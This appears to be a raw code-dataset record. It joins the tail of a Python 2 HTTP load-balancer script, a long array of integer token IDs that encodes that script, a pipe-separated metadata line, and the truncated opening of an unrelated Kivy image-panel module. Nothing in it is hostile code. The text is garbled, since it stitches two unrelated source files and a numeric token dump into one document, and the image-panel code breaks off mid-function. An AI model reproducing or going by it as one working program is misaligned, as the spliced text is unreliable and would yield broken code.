sock.sendall("HTTP/1.0 500 Internal Server Error\r\n\r\nThere has been an internal error in the load balancer.")
except socket.error, e:
if e.errno != errno.EPIPE:
raise
finally:
try:
sock.close()
rfile.close()
except:
logging.error(traceback.format_exc())
if __name__ == "__main__":
Balancer.main()
| [
1,
529,
276,
1112,
420,
29958,
1022,
601,
29914,
29885,
424,
2429,
13,
5215,
1741,
1026,
13,
5215,
4589,
1217,
13,
5215,
12183,
13,
5215,
9637,
1627,
13,
5215,
286,
17528,
8789,
13,
5215,
6503,
13,
5215,
4390,
13,
5215,
2897,
13,
5215,
10876,
13,
5215,
1852,
5510,
13,
3166,
1741,
1026,
1053,
16904,
3146,
13,
3166,
1741,
1026,
29889,
12692,
1053,
9909,
13,
3166,
869,
7387,
1053,
853,
5203,
29892,
1019,
3594,
29892,
2812,
2349,
29892,
624,
2454,
29892,
4367,
1088,
29892,
1939,
8514,
29879,
29892,
1706,
262,
13,
3166,
869,
2917,
1053,
12545,
3991,
13,
3166,
869,
21895,
1053,
15057,
2052,
13,
3166,
869,
16202,
29918,
11514,
1053,
624,
1446,
11373,
13,
3166,
869,
12692,
2587,
1053,
7646,
8434,
13,
13,
13,
1990,
7392,
25856,
29898,
3318,
1125,
13,
1678,
9995,
13,
1678,
4241,
2254,
5521,
25856,
770,
29889,
13,
1678,
9995,
13,
13,
1678,
694,
1445,
353,
29871,
29896,
29900,
29906,
29946,
29900,
29900,
13,
1678,
4078,
29918,
19207,
353,
29871,
29896,
29900,
13,
1678,
3158,
29918,
20698,
353,
426,
13,
4706,
376,
14701,
1115,
1019,
3594,
29892,
13,
4706,
376,
6310,
1115,
2812,
2349,
29892,
13,
4706,
376,
7959,
1115,
624,
2454,
29892,
13,
4706,
376,
17886,
1115,
4367,
1088,
29892,
13,
4706,
376,
26690,
1115,
853,
5203,
29892,
13,
4706,
376,
1028,
262,
1115,
1706,
262,
29892,
13,
4706,
376,
1217,
29918,
23525,
1115,
1939,
8514,
29879,
29892,
13,
1678,
500,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
7029,
29918,
7328,
267,
29892,
7463,
29918,
7328,
267,
29892,
10643,
29918,
7328,
267,
29892,
2106,
29918,
1445,
29892,
318,
333,
29922,
8516,
29892,
330,
333,
29922,
29953,
29945,
29945,
29941,
29945,
29892,
2294,
29918,
3972,
13802,
7070,
29914,
29885,
424,
2429,
29914,
7959,
12975,
1125,
13,
4706,
9995,
13,
4706,
1281,
18769,
29889,
13,
13,
4706,
323,
6926,
697,
3443,
29892,
278,
9657,
310,
16169,
304,
11621,
373,
29889,
13,
4706,
450,
1820,
297,
445,
9657,
338,
278,
2011,
1353,
29892,
322,
278,
995,
13,
4706,
338,
565,
372,
29915,
29879,
385,
7463,
16248,
470,
451,
29889,
13,
4706,
512,
1890,
1095,
9748,
437,
451,
505,
1060,
29899,
2831,
1328,
287,
29899,
29930,
10076,
2986,
29936,
13,
4706,
916,
6743,
437,
29892,
322,
505,
1060,
29899,
2831,
1328,
287,
29899,
2831,
2715,
29889,
13,
4706,
9995,
13,
4706,
1583,
29889,
23176,
29918,
7328,
267,
353,
7029,
29918,
7328,
267,
13,
4706,
1583,
29889,
7564,
29918,
7328,
267,
353,
7463,
29918,
7328,
267,
13,
4706,
1583,
29889,
21895,
29918,
7328,
267,
353,
10643,
29918,
7328,
267,
13,
4706,
1583,
29889,
3859,
29918,
1445,
353,
2106,
29918,
1445,
13,
4706,
1583,
29889,
5416,
353,
318,
333,
13,
4706,
1583,
29889,
29887,
333,
353,
330,
333,
13,
4706,
1583,
29889,
7959,
29918,
3972,
353,
2294,
29918,
3972,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
1667,
29898,
25932,
1125,
13,
4706,
396,
20969,
1899,
29899,
1220,
6389,
13,
4706,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
2433,
1576,
26873,
2429,
2254,
6411,
25856,
1495,
13,
4706,
13812,
29889,
1202,
29918,
23516,
877,
489,
8382,
742,
2731,
2433,
8382,
742,
3158,
2433,
8899,
29918,
3075,
742,
1040,
29922,
5574,
29892,
1371,
2433,
20701,
4744,
12183,
1495,
13,
4706,
13812,
29889,
1202,
29918,
23516,
877,
29899,
29883,
742,
525,
489,
2917,
742,
2731,
2433,
2917,
742,
2322,
29922,
8516,
29892,
1539,
485,
279,
543,
10145,
613,
1371,
2433,
2605,
304,
278,
5285,
934,
1495,
13,
4706,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
4706,
396,
3789,
701,
12183,
13,
4706,
17927,
353,
12183,
29889,
657,
16363,
580,
13,
4706,
17927,
29889,
842,
10108,
29898,
21027,
29889,
18525,
565,
6389,
29889,
8382,
1683,
12183,
29889,
11690,
29897,
13,
4706,
396,
10604,
304,
380,
20405,
29892,
2337,
13,
4706,
528,
353,
12183,
29889,
3835,
4598,
580,
13,
4706,
528,
29889,
842,
18522,
29898,
21027,
29889,
18522,
29898,
13,
9651,
19200,
353,
11860,
29898,
294,
312,
603,
29897,
29879,
448,
1273,
29898,
5563,
978,
29897,
29947,
29879,
29901,
1273,
29898,
4906,
29897,
29879,
613,
13,
9651,
2635,
23479,
543,
29995,
29979,
19222,
29885,
19222,
29881,
1273,
29950,
16664,
29924,
16664,
29903,
613,
13,
308,
876,
13,
4706,
528,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
4706,
17927,
29889,
1202,
4598,
29898,
845,
29897,
13,
4706,
396,
5399,
896,
505,
3876,
2130,
13,
4706,
1018,
29901,
13,
9651,
6503,
29889,
842,
2096,
13083,
29898,
10314,
29889,
2241,
7833,
1806,
29918,
6632,
7724,
29892,
313,
25932,
29889,
3998,
488,
29892,
1067,
29879,
29889,
3998,
488,
876,
13,
4706,
5174,
313,
1917,
2392,
29892,
6503,
29889,
2704,
1125,
13,
9651,
12183,
29889,
27392,
703,
29089,
12020,
6503,
13071,
313,
3389,
408,
3876,
29914,
3167,
318,
12514,
25760,
13,
4706,
396,
16012,
6055,
515,
278,
2295,
934,
13,
4706,
565,
6389,
29889,
2917,
338,
6213,
29901,
13,
9651,
565,
2897,
29889,
2084,
29889,
9933,
11974,
7070,
29914,
29885,
424,
2429,
29914,
29885,
424,
2429,
29889,
5527,
29908,
1125,
13,
18884,
6389,
29889,
2917,
353,
5591,
7070,
29914,
29885,
424,
2429,
29914,
29885,
424,
2429,
29889,
5527,
29908,
13,
18884,
12183,
29889,
3888,
703,
15156,
5285,
934,
1273,
29879,
29908,
1273,
6389,
29889,
2917,
29897,
13,
9651,
1683,
29901,
13,
18884,
6389,
29889,
2917,
353,
5591,
3359,
29914,
4304,
29908,
13,
18884,
12183,
29889,
3888,
703,
3782,
5285,
934,
1476,
448,
773,
21274,
23157,
13,
4706,
1683,
29901,
13,
9651,
12183,
29889,
3888,
703,
15156,
5285,
934,
1273,
29879,
29908,
1273,
6389,
29889,
2917,
29897,
13,
4706,
2295,
353,
12545,
3991,
29898,
5085,
29889,
2917,
29897,
13,
4706,
6411,
25856,
353,
1067,
29879,
29898,
13,
9651,
2295,
29889,
657,
29918,
497,
29918,
7328,
267,
703,
5355,
613,
731,
4197,
29898,
703,
1057,
613,
29871,
29947,
29900,
511,
9909,
29889,
5098,
29918,
1177,
2544,
29953,
29897,
2314,
511,
13,
9651,
2295,
29889,
657,
29918,
497,
29918,
7328,
267,
703,
5355,
29918,
7564,
4968,
13,
9651,
2295,
29889,
657,
29918,
497,
29918,
7328,
267,
703,
5355,
29918,
21895,
613,
731,
4197,
29898,
703,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
613,
29871,
29947,
29900,
29946,
29906,
511,
9909,
29889,
5098,
29918,
1177,
2544,
511,
313,
703,
1057,
29896,
613,
29871,
29947,
29900,
29946,
29906,
511,
9909,
29889,
5098,
29918,
1177,
2544,
29953,
29897,
2314,
511,
13,
9651,
2295,
29889,
657,
703,
3859,
29918,
1445,
613,
5591,
1707,
29914,
1982,
29914,
29885,
424,
2429,
29914,
3859,
29889,
3126,
4968,
13,
9651,
2295,
29889,
657,
29918,
524,
703,
5416,
613,
29871,
29946,
29941,
29906,
29896,
511,
13,
9651,
2295,
29889,
657,
29918,
524,
703,
29887,
333,
613,
29871,
29946,
29941,
29906,
29896,
511,
13,
9651,
2295,
29889,
657,
703,
7959,
29918,
3972,
613,
5591,
7070,
29914,
29885,
424,
2429,
29914,
7959,
29914,
4968,
13,
4706,
1723,
13,
4706,
6411,
25856,
29889,
3389,
580,
13,
13,
1678,
822,
2254,
29898,
1311,
1125,
13,
4706,
376,
5896,
29879,
278,
2106,
515,
278,
2106,
934,
29908,
13,
4706,
1018,
29901,
13,
9651,
565,
2897,
29889,
2084,
29889,
657,
2311,
29898,
1311,
29889,
3859,
29918,
1445,
29897,
5277,
29871,
29896,
29901,
13,
18884,
12020,
10663,
2392,
703,
2283,
338,
4069,
23157,
13,
9651,
411,
1722,
29898,
1311,
29889,
3859,
29918,
1445,
29897,
408,
285,
29882,
29901,
13,
18884,
2106,
353,
4390,
29889,
1359,
29898,
29888,
29882,
29897,
13,
18884,
4974,
338,
8758,
29898,
3859,
29892,
9657,
29897,
13,
18884,
1583,
29889,
23525,
353,
2106,
1839,
23525,
2033,
13,
18884,
1583,
29889,
16202,
353,
2106,
1839,
16202,
2033,
13,
9651,
363,
1820,
297,
1583,
29889,
16202,
29901,
13,
18884,
1583,
29889,
16202,
29961,
1989,
22322,
3150,
29918,
24830,
2033,
353,
29871,
29900,
13,
4706,
5174,
313,
5971,
2392,
29892,
438,
29173,
1125,
13,
9651,
396,
1670,
338,
694,
2106,
934,
29936,
1369,
4069,
29889,
13,
9651,
1583,
29889,
23525,
353,
6571,
13,
9651,
1583,
29889,
16202,
353,
6571,
13,
13,
1678,
822,
4078,
29898,
1311,
1125,
13,
4706,
376,
29903,
5989,
278,
2106,
304,
278,
2106,
934,
29908,
13,
4706,
411,
1722,
29898,
1311,
29889,
3859,
29918,
1445,
29892,
376,
29893,
1159,
408,
285,
29882,
29901,
13,
9651,
4390,
29889,
15070,
3319,
13,
18884,
376,
23525,
1115,
1583,
29889,
23525,
29892,
13,
18884,
376,
16202,
1115,
1583,
29889,
16202,
29892,
13,
9651,
2981,
285,
29882,
29897,
13,
13,
1678,
822,
1065,
29898,
1311,
1125,
13,
4706,
396,
3824,
29892,
2847,
895,
278,
1889,
13,
4706,
1583,
29889,
1359,
580,
13,
4706,
1583,
29889,
21094,
353,
5852,
13,
4706,
396,
3967,
304,
9801,
278,
2106,
934,
338,
19909,
13,
4706,
2106,
29918,
3972,
353,
2897,
29889,
2084,
29889,
25721,
29898,
1311,
29889,
3859,
29918,
1445,
29897,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
275,
3972,
29898,
3859,
29918,
3972,
1125,
13,
9651,
2897,
29889,
29885,
12535,
12935,
29898,
3859,
29918,
3972,
29897,
13,
4706,
565,
1583,
29889,
5416,
338,
451,
6213,
29901,
13,
9651,
1018,
29901,
13,
18884,
2897,
29889,
305,
776,
29898,
3859,
29918,
3972,
29892,
1583,
29889,
5416,
29892,
448,
29896,
29897,
13,
9651,
5174,
438,
29173,
29901,
13,
18884,
1209,
13,
9651,
1018,
29901,
13,
18884,
2897,
29889,
305,
776,
29898,
1311,
29889,
3859,
29918,
1445,
29892,
1583,
29889,
5416,
29892,
448,
29896,
29897,
13,
9651,
5174,
438,
29173,
29901,
13,
18884,
1209,
13,
4706,
396,
1987,
29892,
6826,
278,
9909,
12104,
13,
4706,
11565,
353,
7646,
8434,
29898,
13,
9651,
7431,
29898,
1311,
29889,
23176,
29918,
7328,
267,
29897,
718,
13,
9651,
7431,
29898,
1311,
29889,
7564,
29918,
7328,
267,
29897,
718,
13,
9651,
7431,
29898,
1311,
29889,
21895,
29918,
7328,
267,
29897,
718,
13,
632,
29896,
13,
4706,
1723,
13,
4706,
11565,
29889,
1028,
18101,
29898,
1311,
29889,
7620,
29918,
7888,
29897,
13,
4706,
363,
3211,
29892,
3942,
297,
1583,
29889,
23176,
29918,
7328,
267,
29901,
13,
9651,
11565,
29889,
1028,
18101,
29898,
1311,
29889,
20631,
29918,
7888,
29892,
3211,
29892,
3942,
29892,
7463,
29922,
8824,
29897,
13,
4706,
363,
3211,
29892,
3942,
297,
1583,
29889,
7564,
29918,
7328,
267,
29901,
13,
9651,
11565,
29889,
1028,
18101,
29898,
1311,
29889,
20631,
29918,
7888,
29892,
3211,
29892,
3942,
29892,
7463,
29922,
5574,
29897,
13,
4706,
363,
3211,
29892,
3942,
297,
1583,
29889,
21895,
29918,
7328,
267,
29901,
13,
9651,
11565,
29889,
1028,
18101,
29898,
1311,
29889,
21895,
29918,
7888,
29892,
3211,
29892,
3942,
29897,
13,
4706,
396,
25538,
278,
916,
9717,
263,
8825,
304,
1722,
1009,
19866,
577,
9737,
13,
4706,
1741,
1026,
29889,
17059,
29898,
29900,
29889,
29945,
29897,
13,
4706,
396,
20724,
304,
278,
3109,
261,
501,
1367,
29914,
29954,
1367,
29879,
29892,
565,
19056,
13,
4706,
565,
1583,
29889,
29887,
333,
29901,
13,
9651,
1018,
29901,
13,
18884,
2897,
29889,
842,
387,
333,
29898,
1311,
29889,
29887,
333,
29897,
13,
18884,
2897,
29889,
842,
29887,
333,
29898,
1311,
29889,
29887,
333,
29897,
13,
9651,
5174,
438,
29173,
29901,
13,
18884,
12183,
29889,
2704,
703,
29089,
1735,
304,
402,
1367,
1273,
29875,
313,
771,
14815,
451,
2734,
408,
3876,
5513,
1273,
1583,
29889,
29887,
333,
29897,
13,
9651,
1683,
29901,
13,
18884,
12183,
29889,
3888,
703,
29928,
307,
2986,
304,
402,
1367,
1273,
29875,
29908,
1273,
1583,
29889,
29887,
333,
29897,
13,
4706,
565,
1583,
29889,
5416,
29901,
13,
9651,
1018,
29901,
13,
18884,
2897,
29889,
842,
29872,
5416,
29898,
29900,
29897,
13,
18884,
2897,
29889,
842,
5416,
29898,
1311,
29889,
5416,
29897,
13,
18884,
2897,
29889,
842,
29872,
5416,
29898,
1311,
29889,
5416,
29897,
13,
9651,
5174,
438,
29173,
29901,
13,
18884,
12183,
29889,
2704,
703,
29089,
1735,
304,
501,
1367,
1273,
29875,
313,
771,
14815,
451,
2734,
408,
3876,
5513,
1273,
1583,
29889,
5416,
29897,
13,
9651,
1683,
29901,
13,
18884,
12183,
29889,
3888,
703,
29928,
307,
2986,
304,
501,
1367,
1273,
29875,
29908,
1273,
1583,
29889,
5416,
29897,
13,
4706,
396,
22521,
545,
591,
508,
4078,
304,
278,
2106,
934,
29892,
470,
762,
2898,
29889,
13,
4706,
1018,
29901,
13,
9651,
1722,
29898,
1311,
29889,
3859,
29918,
1445,
29892,
376,
29874,
2564,
5358,
580,
13,
4706,
5174,
313,
29949,
29173,
29892,
10663,
2392,
1125,
13,
9651,
12183,
29889,
9695,
936,
703,
29089,
2436,
304,
2106,
934,
1273,
29879,
29908,
1273,
1583,
29889,
3859,
29918,
1445,
29897,
13,
9651,
10876,
29889,
13322,
29898,
29896,
29897,
13,
4706,
396,
20340,
363,
697,
304,
6876,
29892,
470,
363,
263,
5941,
29914,
1454,
1133,
12522,
3204,
13,
4706,
1018,
29901,
13,
9651,
11565,
29889,
10685,
580,
13,
4706,
5174,
313,
2558,
3377,
4074,
6685,
29892,
22303,
13463,
362,
29892,
2184,
24365,
1125,
13,
9651,
1209,
13,
4706,
5174,
29901,
13,
9651,
12183,
29889,
2704,
29898,
15003,
1627,
29889,
4830,
29918,
735,
29883,
3101,
13,
4706,
396,
1334,
29915,
276,
2309,
13,
4706,
1583,
29889,
21094,
353,
7700,
13,
4706,
12183,
29889,
3888,
703,
1252,
11407,
1159,
13,
13,
1678,
835,
15057,
835,
13,
13,
1678,
822,
4078,
29918,
7888,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
317,
5989,
278,
2106,
565,
372,
756,
3939,
29889,
13,
4706,
9995,
13,
4706,
1833,
29918,
8568,
353,
6608,
29898,
276,
558,
29898,
1311,
29889,
23525,
876,
13,
4706,
1550,
1583,
29889,
21094,
29901,
13,
9651,
1741,
1026,
29889,
17059,
29898,
1311,
29889,
7620,
29918,
19207,
29897,
13,
9651,
2446,
29918,
8568,
353,
6608,
29898,
276,
558,
29898,
1311,
29889,
23525,
876,
13,
9651,
565,
2446,
29918,
8568,
2804,
1833,
29918,
8568,
29901,
13,
18884,
1583,
29889,
7620,
580,
13,
18884,
1833,
29918,
8568,
353,
2446,
29918,
8568,
13,
13,
1678,
822,
10643,
29918,
7888,
29898,
1311,
29892,
3211,
29892,
3942,
1125,
13,
4706,
9995,
13,
4706,
29848,
29879,
10643,
7274,
29889,
13,
4706,
9995,
13,
4706,
1018,
29901,
13,
9651,
577,
384,
353,
1741,
1026,
29889,
20631,
29898,
7328,
29892,
3942,
29897,
13,
4706,
5174,
9909,
29889,
2704,
29892,
321,
29901,
13,
9651,
12183,
29889,
9695,
936,
703,
29089,
11621,
373,
313,
29995,
29879,
29892,
1273,
29879,
1125,
1273,
29879,
29908,
1273,
313,
7328,
29892,
3942,
29892,
321,
876,
13,
9651,
736,
13,
4706,
396,
317,
5436,
304,
9801,
591,
29915,
345,
13700,
28091,
491,
278,
931,
591,
1369,
16330,
13,
4706,
1741,
1026,
29889,
17059,
29898,
29900,
29889,
29945,
29897,
13,
4706,
396,
12823,
9080,
10643,
13,
4706,
12183,
29889,
3888,
703,
1293,
8333,
363,
10643,
373,
1273,
29879,
29908,
1273,
313,
7328,
29892,
29871,
876,
13,
4706,
10643,
29918,
932,
353,
15057,
2052,
29898,
1311,
29897,
13,
4706,
1018,
29901,
13,
9651,
411,
1722,
11974,
3359,
29914,
4304,
613,
376,
29893,
1159,
408,
1480,
29918,
7854,
29901,
13,
18884,
16904,
3146,
29889,
2974,
29898,
13,
462,
1678,
577,
384,
29892,
13,
462,
1678,
10643,
29918,
932,
29889,
8411,
29892,
13,
462,
1678,
1480,
353,
1480,
29918,
7854,
29892,
13,
18884,
1723,
13,
4706,
7146,
29901,
13,
9651,
577,
384,
29889,
5358,
580,
13,
13,
1678,
835,
12477,
11415,
835,
13,
13,
1678,
822,
11621,
29918,
7888,
29898,
1311,
29892,
3211,
29892,
3942,
29892,
7463,
29922,
8824,
1125,
13,
4706,
9995,
13,
4706,
29848,
29879,
23235,
12368,
29889,
13,
4706,
9995,
13,
4706,
1018,
29901,
13,
9651,
577,
384,
353,
1741,
1026,
29889,
20631,
29898,
7328,
29892,
3942,
29897,
13,
4706,
5174,
9909,
29889,
2704,
29892,
321,
29901,
13,
9651,
565,
321,
29889,
3127,
1217,
1275,
4589,
1217,
29889,
29923,
3035,
8353,
1177,
17171,
29901,
13,
18884,
12183,
29889,
9695,
936,
703,
29089,
11621,
373,
313,
29995,
29879,
29892,
1273,
29879,
1125,
2307,
297,
671,
29908,
1273,
313,
7328,
29892,
3942,
876,
13,
18884,
12020,
13,
9651,
25342,
321,
29889,
3127,
1217,
1275,
4589,
1217,
29889,
29923,
2477,
27266,
322,
3211,
29961,
29896,
29962,
5277,
29871,
29896,
29900,
29906,
29946,
29901,
13,
18884,
12183,
29889,
9695,
936,
703,
29089,
11621,
373,
313,
29995,
29879,
29892,
1273,
29879,
29897,
313,
6293,
1795,
817,
304,
6826,
408,
3876,
5513,
1273,
313,
7328,
29892,
3942,
876,
13,
18884,
736,
13,
9651,
12183,
29889,
9695,
936,
703,
29089,
11621,
373,
313,
29995,
29879,
29892,
1273,
29879,
1125,
1273,
29879,
29908,
1273,
313,
7328,
29892,
3942,
29892,
321,
876,
13,
9651,
736,
13,
4706,
396,
317,
5436,
304,
9801,
591,
29915,
345,
13700,
28091,
491,
278,
931,
591,
1369,
16330,
13,
4706,
1741,
1026,
29889,
17059,
29898,
29900,
29889,
29945,
29897,
13,
4706,
396,
7370,
16330,
13,
4706,
12183,
29889,
3888,
703,
1293,
8333,
363,
7274,
373,
1273,
29879,
29908,
1273,
313,
7328,
29892,
29871,
876,
13,
4706,
1018,
29901,
13,
9651,
1741,
1026,
29889,
16349,
29898,
13,
18884,
577,
384,
29892,
13,
18884,
14013,
577,
384,
29892,
28915,
29901,
1583,
29889,
8411,
29898,
21852,
29892,
28915,
29892,
7463,
511,
13,
18884,
3022,
10880,
353,
29871,
29896,
29900,
29900,
29900,
29900,
29892,
13,
9651,
1723,
13,
4706,
7146,
29901,
13,
9651,
577,
384,
29889,
5358,
580,
13,
13,
1678,
822,
8814,
29918,
3069,
29898,
1311,
29892,
3495,
29892,
9608,
543,
1124,
29908,
1125,
13,
4706,
396,
12630,
1206,
363,
4069,
18982,
9657,
13,
4706,
565,
451,
1583,
29889,
23525,
29901,
13,
9651,
736,
1939,
8514,
29879,
29898,
1311,
29892,
3495,
29892,
376,
26690,
1159,
13,
4706,
396,
5399,
363,
385,
2684,
470,
738,
1014,
7247,
7087,
13,
4706,
9978,
353,
3495,
29889,
5451,
17350,
1159,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
14836,
22164,
13,
9651,
363,
10944,
297,
6796,
29995,
29879,
597,
29908,
1273,
9608,
29892,
376,
3108,
29901,
13,
18884,
1014,
3069,
353,
10944,
718,
4852,
1213,
29889,
7122,
29898,
14836,
29961,
29875,
29901,
12622,
13,
18884,
565,
1014,
3069,
297,
1583,
29889,
23525,
29901,
13,
462,
1678,
3158,
29892,
9049,
5085,
29892,
2758,
29918,
1491,
29879,
353,
1583,
29889,
23525,
29961,
1491,
3069,
29962,
13,
462,
1678,
565,
2758,
29918,
1491,
29879,
470,
474,
1275,
29871,
29900,
29901,
13,
462,
4706,
3158,
29918,
1990,
353,
1583,
29889,
2467,
29918,
20698,
29961,
2467,
29962,
13,
462,
4706,
736,
3158,
29918,
1990,
29898,
13,
462,
9651,
6411,
25856,
353,
1583,
29892,
13,
462,
9651,
3495,
353,
3495,
29892,
13,
462,
9651,
19228,
29918,
3069,
353,
1014,
3069,
29892,
13,
462,
9651,
3579,
19290,
13,
462,
4706,
1723,
13,
4706,
736,
853,
5203,
29898,
1311,
29892,
3495,
29892,
376,
26690,
1159,
13,
13,
1678,
822,
4386,
29898,
1311,
29892,
577,
384,
29892,
3211,
29892,
7463,
29922,
8824,
1125,
13,
4706,
9995,
13,
4706,
5166,
793,
385,
23235,
7331,
3957,
29889,
13,
4706,
9995,
13,
4706,
1018,
29901,
13,
9651,
577,
384,
353,
624,
1446,
11373,
29898,
21852,
29897,
13,
9651,
364,
1445,
353,
577,
384,
29889,
5675,
1445,
877,
6050,
742,
29871,
29946,
29900,
29929,
29953,
29897,
13,
9651,
396,
7523,
278,
937,
1196,
13,
9651,
937,
353,
364,
1445,
29889,
949,
1220,
2141,
17010,
14182,
29878,
29905,
29876,
1159,
13,
9651,
3838,
353,
937,
29889,
5451,
580,
13,
9651,
396,
22521,
545,
372,
3430,
2924,
310,
763,
7331,
13,
9651,
565,
451,
313,
29906,
5277,
7431,
29898,
9303,
29897,
5277,
29871,
29941,
1125,
13,
18884,
577,
384,
29889,
6717,
497,
703,
10493,
29914,
29896,
29889,
29900,
29871,
29946,
29900,
29900,
9178,
10729,
29905,
29878,
29905,
29876,
5350,
29901,
3802,
29905,
29878,
29905,
29876,
3916,
29899,
2848,
29901,
29871,
29900,
29905,
29878,
29905,
29876,
29905,
29878,
29905,
29876,
1159,
13,
18884,
736,
13,
9651,
2224,
353,
3838,
29961,
29896,
29962,
13,
9651,
396,
7523,
278,
9066,
13,
9651,
9066,
353,
286,
17528,
8789,
29889,
3728,
29898,
29878,
1445,
29892,
29871,
29900,
29897,
13,
9651,
396,
5244,
714,
278,
3495,
13,
9651,
1018,
29901,
13,
18884,
3495,
353,
9066,
1839,
8514,
2033,
13,
9651,
5174,
7670,
2392,
29901,
13,
18884,
3495,
353,
376,
26690,
29908,
13,
9651,
9066,
1839,
5350,
2033,
353,
376,
5358,
29908,
13,
9651,
565,
451,
7463,
29901,
13,
18884,
9066,
1839,
29990,
29899,
2831,
1328,
287,
29899,
2831,
2033,
353,
3211,
29961,
29900,
29962,
13,
18884,
9066,
1839,
29990,
29899,
2831,
1328,
287,
29899,
17830,
2033,
353,
5124,
13,
18884,
9066,
1839,
29990,
29899,
2831,
1328,
287,
29899,
1184,
517,
2033,
353,
5124,
13,
9651,
396,
8561,
1854,
896,
29915,
276,
451,
773,
7736,
2094,
397,
886,
13,
9651,
565,
376,
4300,
571,
29899,
14934,
29908,
297,
9066,
29901,
13,
18884,
577,
384,
29889,
6717,
497,
703,
10493,
29914,
29896,
29889,
29900,
29871,
29946,
29896,
29896,
365,
1477,
830,
5958,
29905,
29878,
29905,
29876,
5350,
29901,
3802,
29905,
29878,
29905,
29876,
3916,
29899,
2848,
29901,
29871,
29900,
29905,
29878,
29905,
29876,
29905,
29878,
29905,
29876,
1159,
13,
18884,
736,
13,
9651,
396,
14514,
278,
3495,
304,
385,
3158,
13,
9651,
9608,
353,
376,
1124,
29908,
13,
9651,
565,
9066,
29889,
657,
877,
29990,
29899,
2831,
1328,
287,
29899,
17830,
742,
9066,
29889,
657,
877,
29990,
29899,
2831,
1328,
287,
29899,
1184,
517,
742,
20569,
467,
13609,
580,
297,
4852,
16265,
613,
376,
991,
29908,
1125,
13,
18884,
9608,
353,
376,
991,
29908,
13,
9651,
3158,
353,
1583,
29889,
17863,
29918,
3069,
29898,
3069,
29892,
9608,
29897,
13,
9651,
396,
14164,
502,
408,
385,
1722,
3957,
13,
9651,
22663,
29918,
8977,
353,
1583,
29889,
16202,
29889,
842,
4381,
29898,
2467,
29889,
4352,
287,
29918,
3069,
29892,
426,
1800,
13,
9651,
22663,
29918,
8977,
1839,
3150,
29918,
24830,
2033,
353,
22663,
29918,
8977,
29889,
657,
877,
3150,
29918,
24830,
742,
29871,
29900,
29897,
718,
29871,
29896,
13,
9651,
396,
7525,
278,
3158,
13,
9651,
1018,
29901,
13,
18884,
364,
1445,
3032,
6050,
1137,
29889,
344,
1416,
29898,
29900,
29897,
13,
18884,
3158,
29889,
8411,
29898,
13,
462,
1678,
577,
384,
353,
577,
384,
29892,
13,
462,
1678,
1303,
29918,
1272,
353,
937,
718,
6634,
29878,
29905,
29876,
29908,
718,
851,
29898,
13662,
29897,
718,
6634,
29878,
29905,
29876,
29908,
718,
364,
1445,
3032,
6050,
1137,
29889,
949,
3285,
13,
462,
1678,
2224,
353,
2224,
29892,
13,
462,
1678,
9066,
353,
9066,
29892,
13,
18884,
1723,
13,
9651,
7146,
29901,
13,
18884,
22663,
29918,
8977,
1839,
3150,
29918,
24830,
2033,
22361,
29871,
29896,
13,
18884,
22663,
29918,
8977,
1839,
5729,
9446,
29918,
24830,
2033,
353,
22663,
29918,
8977,
29889,
657,
877,
5729,
9446,
29918,
24830,
742,
29871,
29900,
29897,
718,
29871,
29896,
13,
18884,
22663,
29918,
8977,
1839,
13193,
29918,
18616,
2033,
353,
22663,
29918,
8977,
29889,
657,
877,
13193,
29918,
18616,
742,
29871,
29900,
29897,
718,
577,
384,
29889,
13193,
29918,
18616,
13,
18884,
22663,
29918,
8977,
1839,
13193,
29918,
13556,
2347,
2033,
353,
22663,
29918,
8977,
29889,
657,
877,
13193,
29918,
13556,
2347,
742,
29871,
29900,
29897,
718,
577,
384,
29889,
13193,
29918,
13556,
2347,
13,
4706,
5174,
9909,
29889,
2704,
29892,
321,
29901,
13,
9651,
565,
321,
29889,
3127,
1217,
451,
297,
313,
3127,
1217,
29889,
29923,
2227,
4162,
29892,
4589,
1217,
29889,
2544,
8890,
3970,
2692,
29892,
4589,
1217,
29889,
29923,
6007,
29940,
1525,
10490,
1125,
13,
18884,
12183,
29889,
2704,
29898,
15003,
1627,
29889,
4830,
29918,
735,
29883,
3101,
13,
4706,
5174,
29901,
13,
9651,
12183,
29889,
2704,
29898,
15003,
1627,
29889,
4830,
29918,
735,
29883,
3101,
13,
9651,
1018,
29901,
13,
18884,
577,
384,
29889,
6717,
497,
703,
10493,
29914,
29896,
29889,
29900,
29871,
29945,
29900,
29900,
512,
1890,
5656,
4829,
29905,
29878,
29905,
29876,
29905,
29878,
29905,
29876,
8439,
756,
1063,
385,
7463,
1059,
297,
278,
2254,
6411,
25856,
23157,
13,
9651,
5174,
9909,
29889,
2704,
29892,
321,
29901,
13,
18884,
565,
321,
29889,
3127,
1217,
2804,
4589,
1217,
29889,
29923,
2227,
4162,
29901,
13,
462,
1678,
12020,
13,
4706,
7146,
29901,
13,
9651,
1018,
29901,
13,
18884,
577,
384,
29889,
5358,
580,
13,
18884,
364,
1445,
29889,
5358,
580,
13,
9651,
5174,
29901,
13,
18884,
12183,
29889,
2704,
29898,
15003,
1627,
29889,
4830,
29918,
735,
29883,
3101,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
7392,
25856,
29889,
3396,
580,
13,
2
] |
resources/panels/maps/images.py | exposit/pythia-oracle | 32 | 42526 | # -*- coding: utf-8 -*-
##---------------------------------------------------------------------------------------------------
#
# Images Panel
#
##---------------------------------------------------------------------------------------------------
import imports
from imports import *
import config
# set this to False to enable this panel
def exclude():
return False
def onEnter(self):
imgLabelArray = []
# grab all images in the current directory's img folder
if os.path.exists(config.curr_game_dir + "images"):
images = glob.glob(config.curr_game_dir + "images" + os.sep + "*")
for img in images:
config.imgLabelArray.append( TextInput(text="", multiline=False, size_hint=(None, None), height=config.tallheight, font_size=config.basefont, font_name='maintextfont', background_color=neutral, foreground_color=styles.textcolor) )
self.imgGrid.add_widget(config.imgLabelArray[-1])
pic = Image(source=img, size_hint=(None, None))
pic.size = pic.texture.size
if pic.texture.width > self.imgAItem.width:
ratio = self.imgAItem.width/pic.texture.width
pic.width = self.imgAItem.width
pic.height = pic.texture.height * ratio
